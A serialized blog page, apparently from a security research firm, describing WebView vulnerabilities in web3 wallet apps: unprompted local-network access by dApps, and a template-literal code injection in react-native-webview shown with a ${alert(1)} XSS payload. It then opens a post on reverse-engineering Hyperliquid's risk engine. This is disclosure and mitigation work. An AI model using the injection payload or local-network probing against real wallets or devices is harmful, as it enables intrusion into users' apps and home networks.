const",{"type":24,"tag":83,"props":157658,"children":157659},{"style":137},[157660],{"type":29,"value":37169},{"type":24,"tag":83,"props":157662,"children":157663},{"style":143},[157664],{"type":29,"value":32650},{"type":24,"tag":83,"props":157666,"children":157667},{"style":137},[157668],{"type":29,"value":157640},{"type":24,"tag":83,"props":157670,"children":157671},{"style":143},[157672],{"type":29,"value":161},{"type":24,"tag":83,"props":157674,"children":157675},{"style":137},[157676],{"type":29,"value":157677},"coords",{"type":24,"tag":83,"props":157679,"children":157680},{"style":143},[157681],{"type":29,"value":321},{"type":24,"tag":83,"props":157683,"children":157684},{"class":85,"line":23525},[157685,157690,157694,157698,157702,157707,157711,157715,157719,157724,157728,157733,157737,157741,157745,157749,157753,157758,157762,157766,157770,157775,157779,157783,157787,157791,157795,157799,157803],{"type":24,"tag":83,"props":157686,"children":157687},{"style":137},[157688],{"type":29,"value":157689},"                    gps",{"type":24,"tag":83,"props":157691,"children":157692},{"style":143},[157693],{"type":29,"value":161},{"type":24,"tag":83,"props":157695,"children":157696},{"style":137},[157697],{"type":29,"value":34701},{"type":24,"tag":83,"props":157699,"children":157700},{"style":143},[157701],{"type":29,"value":32650},{"type":24,"tag":83,"props":157703,"children":157704},{"style":187},[157705],{"type":29,"value":157706},"`Lat: ",{"type":24,"tag":83,"props":157708,"children":157709},{"style":90},[157710],{"type":29,"value":33845},{"type":24,"tag":83,"props":157712,"children":157713},{"style":137},[157714],{"type":29,"value":2891},{"type":24,"tag":83,"props":157716,"children":157717},{"style":143},[157718],{"type":29,"value":161},{"type":24,"tag":83,"props":157720,"children":157721},{"style":137},[157722],{"type":29,"value":157723},"latitude",{"type":24,"tag":83,"props":157725,"children":157726},{"style":143},[157727],{"type":29,"value":161},{"type":24,"tag":83,"props":157729,"children":157730},{"style":101},[157731],{"type":29,"value":157732},"toFixed",{"type":24,"tag":83,"props":157734,"children":157735},{"style":143},[157736],{"type":29,"value":558},{"type":24,"tag":83,"props":157738,"children":157739},{"style":245},[157740],{"type":29,"value":3756},{"type":24,"tag":83,"props":157742,"children":157743},{"style":143},[157744],{"type":29,"value":2872},{"type":24,"tag":83,"props":157746,"children":157747},{"style":90},[157748],{"type":29,"value":33877},{"type":24,"tag":83,"props":157750,"children":157751},{"style":48092},[157752],{"type":29,"value":48095},{"type":24,"tag":83,"props":157754,"children":157755},{"style":187},[157756],{"type":29,"value":157757},"Lon: ",{"type":24,"tag":83,"props":157759,"children":157760},{"style":90},[157761],{"type":29,"value":33845},{"type":24,"tag":83,"props":157763,"children":157764},{"style":137},[157765],{"type":29,"value":2891},{"type":24,"tag":83,"props":157767,"children":157768},{"style":143},[157769],{"type":29,"value":161},{"type":24,"tag":83,"props":157771,"children":157772},{"style":137},[157773],{"type":29,"value":157774},"longitude",{"type":24,"tag":83,"props":157776,"children":157777},{"style":143},[157778],{"type":29,"value":161},{"type":24,"tag":83,"props":157780,"children":157781},{"style":101},[157782],{"type":29,"value":157732},{"type":24,"tag":83,"props":157784,"children":157785},{"style":143},[157786],{"type":29,"value":558},{"type":24,"tag":83,"props":157788,"children":157789},{"style":245},[157790],{"type":29,"value":3756},{"type":24,"tag":83,"props":157792,"children":157793},{"style":143},[157794],{"type":29,"value":2872},{"type":24,"tag":83,"props":157796,"children":157797},{"style":90},[157798],{"type":29,"value":33877},{"type":24,"tag":83,"props":157800,"children":157801},{"style":187},[157802],{"type":29,"value":10129},{"type":24,"tag":83,"props":157804,"children":157805},{"style":143},[157806],{"type":29,"value":321},{"type":24,"tag":83,"props":157808,"children":157809},{"class":85,"line":23533},[157810,157815,157819,157823,157828,157832,157836],{"type":24,"tag":83,"props":157811,"children":157812},{"style":143},[157813],{"type":29,"value":157814},"                }, ",{"type":24,"tag":83,"props":157816,"children":157817},{"style":137},[157818],{"type":29,"value":48138},{"type":24,"tag":83,"props":157820,"children":157821},{"style":90},[157822],{"type":29,"value":27502},{"type":24,"tag":83,"props":157824,"children":157825},{"style":101},[157826],{"type":29,"value":157827}," alert",{"type":24,"tag":83,"props":157829,"children":157830},{"style":143},[157831],{"type":29,"value":558},{"type":24,"tag":83,"props":157833,"children":157834},{"style":137},[157835],{"type":29,"value":48138},{"type":24,"tag":83,"props":157837,"children":157838},{"style":143},[157839],{"type":29,"value":6970},{"type":24,"tag":83,"props":157841,"children":157842},{"class":85,"line":23570},[157843],{"type":24,"tag":83,"props":157844,"children":157845},{"style":143},[157846],{"type":29,"value":47793},{"type":24,"tag":83,"props":157848,"children":157849},{"class":85,"line":23583},[157850],{"type":24,"tag":83,"props":157851,"children":157852},{"emptyLinePlaceholder":16},[157853],{"type":29,"value":3422},{"type":24,"tag":83,"props":157855,"children":157856},{"class":85,"line":23596},[157857],{"type":24,"tag":83,"props":157858,"children":157859},{"style":143},[157860],{"type":29,"value":3092},{"type":24,"tag":83,"props":157862,"children":157863},{"class":85,"line":23609},[157864,157869],{"type":24,"tag":83,"props":157865,"children":157866},{"style":101},[157867],{"type":29,"value":157868},"        main",{"type":24,"tag":83,"props":157870,"children":157871},{"style":143},[157872],{"type":29,"value":267},{"type":24,"tag":83,"props":157874,"children":157875},{"class":85,"line":23663},[157876,157880,157884],{"type":24,"tag":83,"props":157877,"children":157878},{"style":32114},[157879],{"type":29,"value":32567},{"type":24,"tag":83,"props":157881,"children":157882},{"style":90},[157883],{"type":29,"value":32154},{"type":24,"tag":83,"props":157885,"children":157886},{"style":32114},[157887],{"type":29,"value":5738},{"type":24,"tag":83,"props":157889,"children":157890},{"class":85,"line":23672},[157891,157895,157899],{"type":24,"tag":83,"props":157892,"children":157893},{"style":32114},[157894],{"type":29,"value":32168},{"type":24,"tag":83,"props":157896,"children":157897},{"style":90},[157898],{"type":29,"value":32138},{"type":24,"tag":83,"props":157900,"children":157901},{"style":32114},[157902],{"type":29,"value":5738},{"type":24,"tag":83,"props":157904,"children":157905},{"class":85,"line":32019},[157906,157910,157914],{"type":24,"tag":83,"props":157907,"children":157908},{"style":32114},[157909],{"type":29,"value":32168},{"type":24,"tag":83,"props":157911,"children":157912},{"style":90},[157913],{"type":29,"value":32121},{"type":24,"tag":83,"props":157915,"children":157916},{"style":32114},[157917],{"type":29,"value":5738},{"type":24,"tag":18631,"props":157919,"children":157920},{"id":3970},[157921],{"type":29,"value":3973},{"type":24,"tag":25,"props":157923,"children":157924},{},[157925],{"type":29,"value":157926},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":157928,"children":157929},{},[157930,157932,157938],{"type":29,"value":157931},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":2033,"props":157933,"children":157936},{"href":157934,"rel":157935},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[2037],[157937],{"type":29,"value":47303},{"type":29,"value":161},{"type":24,"tag":31097,"props":157940,"children":157941},{"style":31099},[157942],{"type":24,"tag":2510,"props":157943,"children":157947},{"src":157944,"alt":157945,"style":157946},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":157949,"children":157950},{},[157951],{"type":29,"value":157952},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":51,"props":157954,"children":157956},{"id":157955},"local-network-access",[157957],{"type":29,"value":157958},"Local Network Access",{"type":24,"tag":25,"props":157960,"children":157961},{},[157962,157964,157971,157973,157979],{"type":29,"value":157963},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":2033,"props":157965,"children":157968},{"href":157966,"rel":157967},"https://wicg.github.io/private-network-access/",[2037],[157969],{"type":29,"value":157970},"Private Network Access",{"type":29,"value":157972}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":2033,"props":157974,"children":157977},{"href":157975,"rel":157976},"https://x.com/taviso/status/2051310678800253318",[2037],[157978],{"type":29,"value":157975},{"type":29,"value":157980},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":31097,"props":157982,"children":157983},{"style":31099},[157984],{"type":24,"tag":2510,"props":157985,"children":157988},{"src":157986,"alt":157945,"style":157987},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":157990,"children":157991},{},[157992],{"type":29,"value":157993},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":157995,"props":157996,"children":157999},"zoom-image",{"src":157997,"alt":157998},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":158001,"children":158002},{},[158003],{"type":29,"value":158004},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":16422,"props":158006,"children":158007},{},[158008,158013,158018],{"type":24,"tag":67,"props":158009,"children":158010},{},[158011],{"type":29,"value":158012},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":67,"props":158014,"children":158015},{},[158016],{"type":29,"value":158017},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":67,"props":158019,"children":158020},{},[158021],{"type":29,"value":158022},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":158024,"children":158025},{},[158026],{"type":29,"value":158027},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":51,"props":158029,"children":158031},{"id":158030},"uxss-by-code-injection",[158032],{"type":29,"value":158033},"UXSS by Code Injection",{"type":24,"tag":25,"props":158035,"children":158036},{},[158037,158039,158045],{"type":29,"value":158038},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":32,"props":158040,"children":158042},{"className":158041},[],[158043],{"type":29,"value":158044},"injectJavascriptObject",{"type":29,"value":158046}," attribute worked. Here is the code snippet:",{"type":24,"tag":73,"props":158048,"children":158050},{"className":156286,"code":158049,"language":156288,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[158051],{"type":24,"tag":32,"props":158052,"children":158053},{"__ignoreMap":7},[158054,158074,158103,158137,158192,158297,158309,158322],{"type":24,"tag":83,"props":158055,"children":158056},{"class":85,"line":86},[158057,158061,158065,158070],{"type":24,"tag":83,"props":158058,"children":158059},{"style":90},[158060],{"type":29,"value":70498},{"type":24,"tag":83,"props":158062,"children":158063},{"style":3163},[158064],{"type":29,"value":50764},{"type":24,"tag":83,"props":158066,"children":158067},{"style":101},[158068],{"type":29,"value":158069}," injectJavascriptObject",{"type":24,"tag":83,"props":158071,"children":158072},{"style":107},[158073],{"type":29,"value":110},{"type":24,"tag":83,"props":158075,"children":158076},{"class":85,"line":113},[158077,158081,158085,158090,158094,158099],{"type":24,"tag":83,"props":158078,"children":158079},{"style":117},[158080],{"type":29,"value":276},{"type":24,"tag":83,"props":158082,"children":158083},{"style":107},[158084],{"type":29,"value":223},{"type":24,"tag":83,"props":158086,"children":158087},{"style":101},[158088],{"type":29,"value":158089},"getSettings",{"type":24,"tag":83,"props":158091,"children":158092},{"style":107},[158093],{"type":29,"value":738},{"type":24,"tag":83,"props":158095,"children":158096},{"style":101},[158097],{"type":29,"value":158098},"getJavaScriptEnabled",{"type":24,"tag":83,"props":158100,"children":158101},{"style":107},[158102],{"type":29,"value":91734},{"type":24,"tag":83,"props":158104,"children":158105},{"class":85,"line":128},[158106,158111,158116,158120,158125,158129,158133],{"type":24,"tag":83,"props":158107,"children":158108},{"style":3163},[158109],{"type":29,"value":158110},"        String",{"type":24,"tag":83,"props":158112,"children":158113},{"style":137},[158114],{"type":29,"value":158115}," js",{"type":24,"tag":83,"props":158117,"children":158118},{"style":143},[158119],{"type":29,"value":146},{"type":24,"tag":83,"props":158121,"children":158122},{"style":187},[158123],{"type":29,"value":158124}," \"(function(){",{"type":24,"tag":83,"props":158126,"children":158127},{"style":48092},[158128],{"type":29,"value":48095},{"type":24,"tag":83,"props":158130,"children":158131},{"style":187},[158132],{"type":29,"value":19800},{"type":24,"tag":83,"props":158134,"children":158135},{"style":143},[158136],{"type":29,"value":9534},{"type":24,"tag":83,"props":158138,"children":158139},{"class":85,"line":183},[158140,158145,158149,158154,158158,158163,158167,158171,158175,158180,158184,158188],{"type":24,"tag":83,"props":158141,"children":158142},{"style":187},[158143],{"type":29,"value":158144},"          \"    window.\"",{"type":24,"tag":83,"props":158146,"children":158147},{"style":143},[158148],{"type":29,"value":8649},{"type":24,"tag":83,"props":158150,"children":158151},{"style":107},[158152],{"type":29,"value":158153}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":83,"props":158155,"children":158156},{"style":143},[158157],{"type":29,"value":4126},{"type":24,"tag":83,"props":158159,"children":158160},{"style":187},[158161],{"type":29,"value":158162}," \" = window.\"",{"type":24,"tag":83,"props":158164,"children":158165},{"style":143},[158166],{"type":29,"value":8649},{"type":24,"tag":83,"props":158168,"children":158169},{"style":107},[158170],{"type":29,"value":158153},{"type":24,"tag":83,"props":158172,"children":158173},{"style":143},[158174],{"type":29,"value":4126},{"type":24,"tag":83,"props":158176,"children":158177},{"style":187},[158178],{"type":29,"value":158179}," \" || {};",{"type":24,"tag":83,"props":158181,"children":158182},{"style":48092},[158183],{"type":29,"value":48095},{"type":24,"tag":83,"props":158185,"children":158186},{"style":187},[158187],{"type":29,"value":19800},{"type":24,"tag":83,"props":158189,"children":158190},{"style":143},[158191],{"type":29,"value":9534},{"type":24,"tag":83,"props":158193,"children":158194},{"class":85,"line":203},[158195,158199,158203,158207,158211,158216,158220,158225,158229,158233,158237,158241,158245,158249,158254,158258,158263,158267,158272,158276,158280,158285,158289,158293],{"type":24,"tag":83,"props":158196,"children":158197},{"style":187},[158198],{"type":29,"value":158144},{"type":24,"tag":83,"props":158200,"children":158201},{"style":143},[158202],{"type":29,"value":8649},{"type":24,"tag":83,"props":158204,"children":158205},{"style":107},[158206],{"type":29,"value":158153},{"type":24,"tag":83,"props":158208,"children":158209},{"style":143},[158210],{"type":29,"value":4126},{"type":24,"tag":83,"props":158212,"children":158213},{"style":187},[158214],{"type":29,"value":158215}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":83,"props":158217,"children":158218},{"style":143},[158219],{"type":29,"value":8649},{"type":24,"tag":83,"props":158221,"children":158222},{"style":107},[158223],{"type":29,"value":158224}," (injectedJavaScriptObject ",{"type":24,"tag":83,"props":158226,"children":158227},{"style":143},[158228],{"type":29,"value":8320},{"type":24,"tag":83,"props":158230,"children":158231},{"style":90},[158232],{"type":29,"value":69984},{"type":24,"tag":83,"props":158234,"children":158235},{"style":117},[158236],{"type":29,"value":887},{"type":24,"tag":83,"props":158238,"children":158239},{"style":90},[158240],{"type":29,"value":69984},{"type":24,"tag":83,"props":158242,"children":158243},{"style":117},[158244],{"type":29,"value":896},{"type":24,"tag":83,"props":158246,"children":158247},{"style":107},[158248],{"type":29,"value":223},{"type":24,"tag":83,"props":158250,"children":158251},{"style":187},[158252],{"type":29,"value":158253},"\"`\"",{"type":24,"tag":83,"props":158255,"children":158256},{"style":143},[158257],{"type":29,"value":8649},{"type":24,"tag":83,"props":158259,"children":158260},{"style":107},[158261],{"type":29,"value":158262}," injectedJavaScriptObject ",{"type":24,"tag":83,"props":158264,"children":158265},{"style":143},[158266],{"type":29,"value":4126},{"type":24,"tag":83,"props":158268,"children":158269},{"style":187},[158270],{"type":29,"value":158271}," \"`\"",{"type":24,"tag":83,"props":158273,"children":158274},{"style":107},[158275],{"type":29,"value":8581},{"type":24,"tag":83,"props":158277,"children":158278},{"style":143},[158279],{"type":29,"value":4126},{"type":24,"tag":83,"props":158281,"children":158282},{"style":187},[158283],{"type":29,"value":158284}," \"; };",{"type":24,"tag":83,"props":158286,"children":158287},{"style":48092},[158288],{"type":29,"value":48095},{"type":24,"tag":83,"props":158290,"children":158291},{"style":187},[158292],{"type":29,"value":19800},{"type":24,"tag":83,"props":158294,"children":158295},{"style":143},[158296],{"type":29,"value":9534},{"type":24,"tag":83,"props":158298,"children":158299},{"class":85,"line":212},[158300,158305],{"type":24,"tag":83,"props":158301,"children":158302},{"style":187},[158303],{"type":29,"value":158304},"          \"})();\"",{"type":24,"tag":83,"props":158306,"children":158307},{"style":107},[158308],{"type":29,"value":321},{"type":24,"tag":83,"props":158310,"children":158311},{"class":85,"line":256},[158312,158317],{"type":24,"tag":83,"props":158313,"children":158314},{"style":101},[158315],{"type":29,"value":158316},"        evaluateJavascriptWithFallback",{"type":24,"tag":83,"props":158318,"children":158319},{"style":107},[158320],{"type":29,"value":158321},"(js);\n",{"type":24,"tag":83,"props":158323,"children":158324},{"class":85,"line":270},[158325],{"type":24,"tag":83,"props":158326,"children":158327},{"style":107},[158328],{"type":29,"value":364},{"type":24,"tag":25,"props":158330,"children":158331},{},[158332,158334,158340,158342,158347,158349,158355],{"type":29,"value":158333},"It basically injects a javascript code with the ",{"type":24,"tag":32,"props":158335,"children":158337},{"className":158336},[],[158338],{"type":29,"value":158339},"injectedJavascriptObject",{"type":29,"value":158341}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":32,"props":158343,"children":158345},{"className":158344},[],[158346],{"type":29,"value":158339},{"type":29,"value":158348},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":32,"props":158350,"children":158352},{"className":158351},[],[158353],{"type":29,"value":158354},"${alert(1)}",{"type":29,"value":158356}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":158358,"children":158359},{},[158360,158362,158369],{"type":29,"value":158361},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":2033,"props":158363,"children":158366},{"href":158364,"rel":158365},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[2037],[158367],{"type":29,"value":158368},"PR with the report and fix",{"type":29,"value":161},{"type":24,"tag":25,"props":158371,"children":158372},{},[158373],{"type":29,"value":158374},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":158376,"children":158377},{},[158378,158380,158386],{"type":29,"value":158379},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":32,"props":158381,"children":158383},{"className":158382},[],[158384],{"type":29,"value":158385},"injectedJavaScriptObject",{"type":29,"value":158387}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":1818,"props":158389,"children":158390},{"id":28683},[158391],{"type":29,"value":18686},{"type":24,"tag":25,"props":158393,"children":158394},{},[158395],{"type":29,"value":158396},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":2584,"props":158398,"children":158399},{},[158400],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":158402},[158403,158407,158410,158411],{"id":156126,"depth":113,"text":156129,"children":158404},[158405,158406],{"id":156137,"depth":128,"text":156140},{"id":156212,"depth":128,"text":156215},{"id":156245,"depth":113,"text":156248,"children":158408},[158409],{"id":156435,"depth":128,"text":156438},{"id":157955,"depth":113,"text":157958},{"id":158030,"depth":113,"text":158033,"children":158412},[158413],{"id":28683,"depth":128,"text":18686},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158418,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158419,"description":158420,"date":158421,"author":158422,"image":158423,"isFeatured":16,"onBlogPage":16,"tags":158427,"hideToc":16,"body":158431,"_type":2606,"_id":165070,"_source":2608,"_file":165071,"_stem":165072,"_extension":2611},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158424,"width":158425,"height":158426},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158428,158429,158430],"hyperliquid","reverse-engineering","defi",{"type":21,"children":158432,"toc":165042},[158433,158439,158447,158452,158457,158462,158474,158479,158492,158511,158517,158529,158542,158547,158578,158583,158596,158601,158792,158798,158803,158815,158821,158826,158832,158845,158879,158884,158889,158901,158907,158927,158935,158948,158954,158965,158971,158983,158988,158994,159014,159022,159028,159062,159066,159102,159107,159112,159117,159130,159167,159172,159186,159192,159197,159223,159231,159236,159264,159269,159274,159612,159617,159622,159642,159669,159674,159687,159699,159704,159709,159715,159720,159725,159739,159744,159750,159778,159815,159826,159830,159835,159840,159846,160012,160047,160052,160058,160064,160253,160266,160271,160277,160298,160303,160309,160314,160319,160331,160336,160341,160347,160352,160357,160363,160369,160382,160415,160420,162996,163264,163269,164599,164604,164609,164621,164712,164724,164729,164735,164740,164748,164753,164761,164767,164801,164812,164820,164826,164832,164837,164845,164850,164855,164863,164875,164881,164886,164892,164903,164908,164914,164919,164924,164930,164935,164938,164943,164948,164954,164959,164971,164976,164981],{"type":24,"tag":51,"props":158434,"children":158436},{"id":158435},"perpetuals",[158437],{"type":29,"value":158438},"Perpetuals",{"type":24,"tag":2677,"props":158440,"children":158441},{},[158442],{"type":24,"tag":25,"props":158443,"children":158444},{},[158445],{"type":29,"value":158446},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":158448,"children":158449},{},[158450],{"type":29,"value":158451},"What does that even have to do with reverse engineering?",{"type":24,"tag":51,"props":158453,"children":158454},{"id":158428},[158455],{"type":29,"value":158456},"Hyperliquid",{"type":24,"tag":25,"props":158458,"children":158459},{},[158460],{"type":29,"value":158461},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":158463,"children":158464},{},[158465,158467,158472],{"type":29,"value":158466},"The node is tasked with a ",{"type":24,"tag":2655,"props":158468,"children":158469},{},[158470],{"type":29,"value":158471},"very hard problem",{"type":29,"value":158473},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":158475,"children":158476},{},[158477],{"type":29,"value":158478},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":158480,"children":158481},{},[158482,158484,158490],{"type":29,"value":158483},"Beyond that, the ",{"type":24,"tag":32,"props":158485,"children":158487},{"className":158486},[],[158488],{"type":29,"value":158489},"hl-node",{"type":29,"value":158491}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":158493,"children":158494},{},[158495,158497,158502,158504,158509],{"type":29,"value":158496},"Armed with some curiosity, a good amount of ",{"type":24,"tag":2655,"props":158498,"children":158499},{},[158500],{"type":29,"value":158501},"inference",{"type":29,"value":158503},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":2655,"props":158505,"children":158506},{},[158507],{"type":29,"value":158508},"interactive interface",{"type":29,"value":158510},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":51,"props":158512,"children":158514},{"id":158513},"the-million-dollar-question",[158515],{"type":29,"value":158516},"The Million Dollar Question",{"type":24,"tag":25,"props":158518,"children":158519},{},[158520,158522,158527],{"type":29,"value":158521},"Let's say a terrible trader opens a ",{"type":24,"tag":2655,"props":158523,"children":158524},{},[158525],{"type":29,"value":158526},"50x",{"type":29,"value":158528}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":158530,"children":158531},{},[158532,158534,158540],{"type":29,"value":158533},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":32,"props":158535,"children":158537},{"className":158536},[],[158538],{"type":29,"value":158539},"compute_margin_requirement_by_mode",{"type":29,"value":158541}," function.",{"type":24,"tag":25,"props":158543,"children":158544},{},[158545],{"type":29,"value":158546},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":158548,"props":158549,"children":158550},"tip",{},[158551],{"type":24,"tag":25,"props":158552,"children":158553},{},[158554,158556,158561,158563,158570,158572,158577],{"type":29,"value":158555},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":2655,"props":158557,"children":158558},{},[158559],{"type":29,"value":158560},"click through",{"type":29,"value":158562}," each action performed by ",{"type":24,"tag":2033,"props":158564,"children":158567},{"href":158565,"rel":158566},"https://github.com/renato-osec/patina-research",[2037],[158568],{"type":29,"value":158569},"our Rust reverse engineering agent",{"type":29,"value":158571},". Return to the regular view by clicking ",{"type":24,"tag":32,"props":158573,"children":158575},{"className":158574},[],[158576],{"type":29,"value":5733},{"type":29,"value":161},{"type":24,"tag":158579,"props":158580,"children":158582},"bndb-viewer-embed",{"addr":158581,"line-start":3756,"line-end":134087},"0x555556bb4d20",[],{"type":24,"tag":25,"props":158584,"children":158585},{},[158586,158588,158594],{"type":29,"value":158587},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":24,"tag":32,"props":158589,"children":158591},{"className":158590},[],[158592],{"type":29,"value":158593},"OptionUnitQty",{"type":29,"value":158595},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":24,"tag":25,"props":158597,"children":158598},{},[158599],{"type":29,"value":158600},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":24,"tag":73,"props":158602,"children":158603},{},[158604],{"type":24,"tag":32,"props":158605,"children":158608},{"className":158606},[3726,158607],"math-display",[158609],{"type":24,"tag":83,"props":158610,"children":158613},{"className":158611},[158612],"katex-display",[158614],{"type":24,"tag":83,"props":158615,"children":158617},{"className":158616},[3732],[158618],{"type":24,"tag":83,"props":158619,"children":158621},{"className":158620,"ariaHidden":1237},[3737],[158622,158653],{"type":24,"tag":83,"props":158623,"children":158625},{"className":158624},[3742],[158626,158630,158640,158644,158649],{"type":24,"tag":83,"props":158627,"children":158629},{"className":158628,"style":94173},[3747],[],{"type":24,"tag":83,"props":158631,"children":158633},{"className":158632},[3753,29],[158634],{"type":24,"tag":83,"props":158635,"children":158637},{"className":158636},[3753],[158638],{"type":29,"value":158639},"liq_equity",{"type":24,"tag":83,"props":158641,"children":158643},{"className":158642,"style":3931},[3833],[],{"type":24,"tag":83,"props":158645,"children":158647},{"className":158646},[3936],[158648],{"type":29,"value":1275},{"type":24,"tag":83,"props":158650,"children":158652},{"className":158651,"style":3931},[3833],[],{"type":24,"tag":83,"props":158654,"children":158656},{"className":158655},[3742],[158657,158662],{"type":24,"tag":83,"props":158658,"children":158661},{"className":158659,"style":158660},[3747],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":24,"tag":83,"props":158663,"children":158665},{"className":158664},[3753],[158666,158670,158788],{"type":24,"tag":83,"props":158667,"children":158669},{"className":158668},[21457,113098],[],{"type":24,"tag":83,"props":158671,"children":158673},{"className":158672},[113103],[158674],{"type":24,"tag":83,"props":158675,"children":158677},{"className":158676},[3774,21382],[158678,158776],{"type":24,"tag":83,"props":158679,"children":158681},{"className":158680},[3779],[158682,158771],{"type":24,"tag":83,"props":158683,"children":158686},{"className":158684,"style":158685},[3784],"height:1.427em;",[158687,158727,158738],{"type":24,"tag":83,"props":158688,"children":158690},{"style":158689},"top:-2.314em;",[158691,158695],{"type":24,"tag":83,"props":158692,"children":158694},{"className":158693,"style":111751},[3793],[],{"type":24,"tag":83,"props":158696,"children":158698},{"className":158697},[3753],[158699,158704,158708,158713,158717],{"type